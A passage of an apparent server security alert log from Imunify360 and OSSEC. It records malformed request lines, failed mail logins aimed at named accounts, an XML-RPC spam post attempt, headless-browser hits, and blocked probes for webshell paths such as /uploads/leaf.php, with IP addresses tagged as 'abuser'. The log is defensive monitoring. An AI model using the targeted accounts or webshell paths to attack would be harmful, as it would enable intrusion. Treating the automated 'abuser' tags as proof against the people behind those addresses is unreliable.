IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/be2495499 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-17 14:54:00 dovecot_login authenticator failed for H=([221.179.238.225]) [220.86.176.134]:48447: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 63.143.93.35
country_id: 3489940
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c91400426 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.201.185
country_id: 1835841
description:
2026-07-17 14:56:16 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [121.188.201.185]:59551: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.106.100.251
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ce3364782 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.162
country_id: 1269750
description:
2026-07-17 14:57:03 dovecot_login authenticator failed for H=([87.237.198.139]) [128.185.194.162]:44812: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.254.167.142
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d53124914 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.116.50
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e23252196 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-17 14:58:05 dovecot_login authenticator failed for H=([80.65.90.155]) [111.119.44.29]:33564: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.90.154
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e31934558 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.198.4
country_id: 3932488
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f21566236 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.112.122.137
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f92227320 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.178.130
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/021290063 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.221.56.39
country_id: 2215636
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/032287762 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.227.227.21
country_id: 2464461
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/04198946 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.60.187
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/073262196 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.249.114.253
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/063168265 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-17 15:08:28 dovecot_login authenticator failed for H=([175.192.38.123]) [103.176.160.146]:46808: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.43.6.95
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0a1922473 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.51.235.230
country_id: 2510769
description:
2026-07-17 15:08:46 dovecot_login authenticator failed for H=([49.124.155.175]) [85.51.235.230]:36898: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.124.53
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0a2726166 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.10.217.56
country_id: 3489940
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0c951574 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.106.165.163
country_id: 1694008
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:46138.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a95ba79a4de8ce24f3aabe94432eecc110e355fa||Title:x2tevripwxr064||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.223.43.190
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0e1408857 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.86.58.75
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/102072590 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.24.200.219
country_id: 2661886
description:
2026-07-17 15:10:57 dovecot_login authenticator failed for H=h-85-24-200-219.a158.priv.bahnhof.se ([101.230.0.49]) [85.24.200.219]:48358: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-17 15:10:47 dovecot_login authenticator failed for H=([116.88.116.62]) [218.156.8.97]:60742: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.181.122.155
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/111374707 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.237.16.195
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/183401562 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/ahsmarine/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.246.210.111
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/20708293 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.132.190.228
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/233018800 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-17 15:15:34 dovecot_login authenticator failed for H=([223.207.98.116]) [65.20.141.202]:52422: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.70.16.87
country_id: 2077456
description:
2026-07-17 15:15:20 dovecot_login authenticator failed for H=([106.247.22.181]) [115.70.16.87]:57978: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.147.87.224
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/241127377 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 82.135.202.97
country_id: 597427
domain: www.futuracare.com.au
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-17 15:17:31 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([77.244.64.60]) [37.207.215.2]:28834: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.186.157.70
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/28381840 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.176.254.53
country_id: 6252001
description:
2026-07-17 15:17:22 dovecot_login authenticator failed for H=([218.75.30.6]) [24.176.254.53]:60517: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-17 15:17:21 dovecot_login authenticator failed for H=([182.73.49.249]) [197.219.210.94]:43820: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/alnay/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-17 15:17:50 dovecot_login authenticator failed for H=([189.52.52.162]) [41.215.125.250]:44274: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.155.212.195
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/291983640 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.51.235.230
country_id: 2510769
description:
2026-07-17 15:19:43 dovecot_login authenticator failed for H=([112.186.203.10]) [85.51.235.230]:60258: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 155.229.17.71
country_id: 1819730
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2023/10/04/onkyo-150x150.png HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-17 15:21:21 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [154.14.31.10]:38676: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-17 15:21:33 dovecot_login authenticator failed for H=([160.3.210.204]) [65.20.133.56]:43227: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-17 15:22:04 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is (dhcp-b8-94-70-ce-5f-fc.cpe.i-zoom.net) [185.40.122.250]:58506: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.99.202.110
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/412467453 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.128.247
country_id: 587116
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/463701661 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-17 15:24:06 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([74.208.177.56]) [193.180.125.157]:49530: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-17 15:24:20 dovecot_login authenticator failed for H=(vipturbo.com.br) [59.25.212.83]:34676: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.219.164.142
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4c714236 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.93.138.98
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b3570949 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.205.233.248
country_id: 1605651
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4e2903878 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.68.59.164
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/512334925 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 134.17.27.116
country_id: 630336
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/531703106 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-17 15:27:47 dovecot_login authenticator failed for H=([197.219.228.242]) [197.242.170.10]:58499: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.19.39.87
country_id: 3175395
domain: cochinbigbandshow.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cochinbigbandshow.com/index.php HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.138.96.133
country_id: 2361809
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5b881826 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.80.190.135
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5d811461 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.84.115.232
country_id: 1655842
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/683340605 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.127.75.207
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/691211274 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-17 15:37:15 dovecot_login authenticator failed for H=([49.124.152.34]) [182.95.106.102]:53466: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 5.9.94.125
country_id: 2921044
domain: gsmex.global
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.184.210.221
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/693048719 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.68.176.128
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6d3222555 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.178.12.17
country_id: 587116
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/true-4k-uhd-ultra-short-throw-laser-projector-v5000i?Itemid=101&catid=18 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.102.61
country_id: 614540
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7d2401579 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.167.229.243
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/812985790 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.214.14.242
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/803563937 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/banner/11782077340.php||SC:/home/fefkadirectors/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.122.20.91
country_id: 798544
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/81779380 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 162.12.245.87
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/821872094 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 82.135.202.97
country_id: 597427
domain: www.futuracare.com.au
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/94.0.4606.61 Safari/537.36||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.53.62.150
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/823348417 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.173.44.172
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/90178277 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.20.148
country_id: 4566966
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/932371673 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-17 15:48:25 dovecot_login authenticator failed for H=([117.79.226.9]) [196.41.207.112]:41748: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.48.46
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/973621610 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-17 15:49:16 dovecot_login authenticator failed for H=([49.124.151.39]) [122.176.21.104]:59020: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-17 15:49:32 dovecot_login authenticator failed for H=([218.202.143.68]) [210.118.224.138]:36030: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-17 15:50:01 dovecot_login authenticator failed for H=([49.124.151.59]) [118.37.27.11]:55289: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.119.38.20
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/992246559 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-17 15:50:41 dovecot_login authenticator failed for H=(107-151-229-181.cab.prima.com.ar) [152.52.198.42]:36644: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.110.236.195
country_id: 953987
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a13401158 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.48.109.102
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a33585149 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.103.2
country_id: 1835841
description:
2026-07-17 15:52:34 dovecot_login authenticator failed for H=([68.71.249.154]) [121.189.103.2]:51867: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-17 15:52:46 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([210.118.224.138]) [213.65.190.48]:40562: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 199.229.220.179
country_id: 6251999
description:
2026-07-17 15:53:17 dovecot_login authenticator failed for H=(centavo.ddsfma.uz) [199.229.220.179]:50668: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/cochinbigbandsho/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.201.204.22
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/aa3343494 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-17 15:54:35 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [174.134.45.64]:34422: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-17 15:53:48 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([174.64.199.88]) [93.241.232.14]:55220: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.147.10.33
country_id: 1694008
description:
2026-07-17 15:53:49 dovecot_login authenticator failed for H=([68.71.243.10]) [115.147.10.33]:51144: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.249.46
country_id: 2661886
description:
2026-07-17 15:53:57 dovecot_login authenticator failed for H=h83-209-249-46.cust.bredband2.com (nsg-corporate-35.174.186.122.airtel.in) [83.209.249.46]:49536: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-17 15:54:20 dovecot_login authenticator failed for H=(200-232-60-225.customer.tdatabrasil.net.br) [125.23.204.74]:47654: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.84.116.7
country_id: 831053
